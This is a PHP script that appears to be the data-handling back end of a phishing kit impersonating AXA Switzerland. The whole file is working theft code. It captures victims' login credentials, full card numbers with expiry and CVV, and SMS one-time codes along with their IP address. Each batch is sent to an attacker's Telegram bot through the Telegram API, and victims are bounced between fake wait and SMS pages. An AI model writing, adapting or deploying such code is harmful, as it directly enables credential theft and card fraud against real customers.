<?php 
session_start();
require 'config.php';
require 'botMother/botMother.php';

$bm = new botMother();



if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count'] = $_SESSION['count'] + 1;
}
function sendTotelegram($data){
    global $bot;
    global $chat_id;

    $data = urlencode($data);
    $api = "https://api.telegram.org/bot$bot/sendMessage?chat_id=$chat_id&text=$data";
    $c = curl_init($api);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
    $res = curl_exec($c);
    curl_close($c);
    return $res;

}

$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){

$msg = "
AXA/CH - New Log 
--------------------------
User: ".$_POST['user']."
pass: ".$_POST['pass']."
--------------------------
IP: $ip
";

sendTotelegram($msg);
header("location: cmd.php");

}

if(isset($_POST['cc'])){
$_SESSION['_cc'] = $_POST['cc'];
$msg = "
AXA/CH - New CC 
--------------------------
Cc: ".$_POST['cc']."
Month: ".$_POST['mm']."
Year: ".$_POST['yy']."
Cvv: ".$_POST['cvv']."
--------------------------
IP: $ip
";

sendTotelegram($msg);

header("location: wait.php?next=sms.php");
    
}
    if(isset($_POST['otp'])){

$msg = "
AXA/CH - New OTP
--------------------------
Cc: ".$_SESSION['_cc']."
Otp: ".$_POST['otp']."
--------------------------
IP: $ip
";

sendTotelegram($msg);

if($_SESSION['count']>=5){
    $_SESSION['count'] = 1;
    unset($_SESSION['count']);
    session_destroy();
    return header("location: exit.php");
}

header("location: wait.php?next=sms.php?error");
}

if(@$msg!=""){
    $bm->logTXT($msg);
}

?>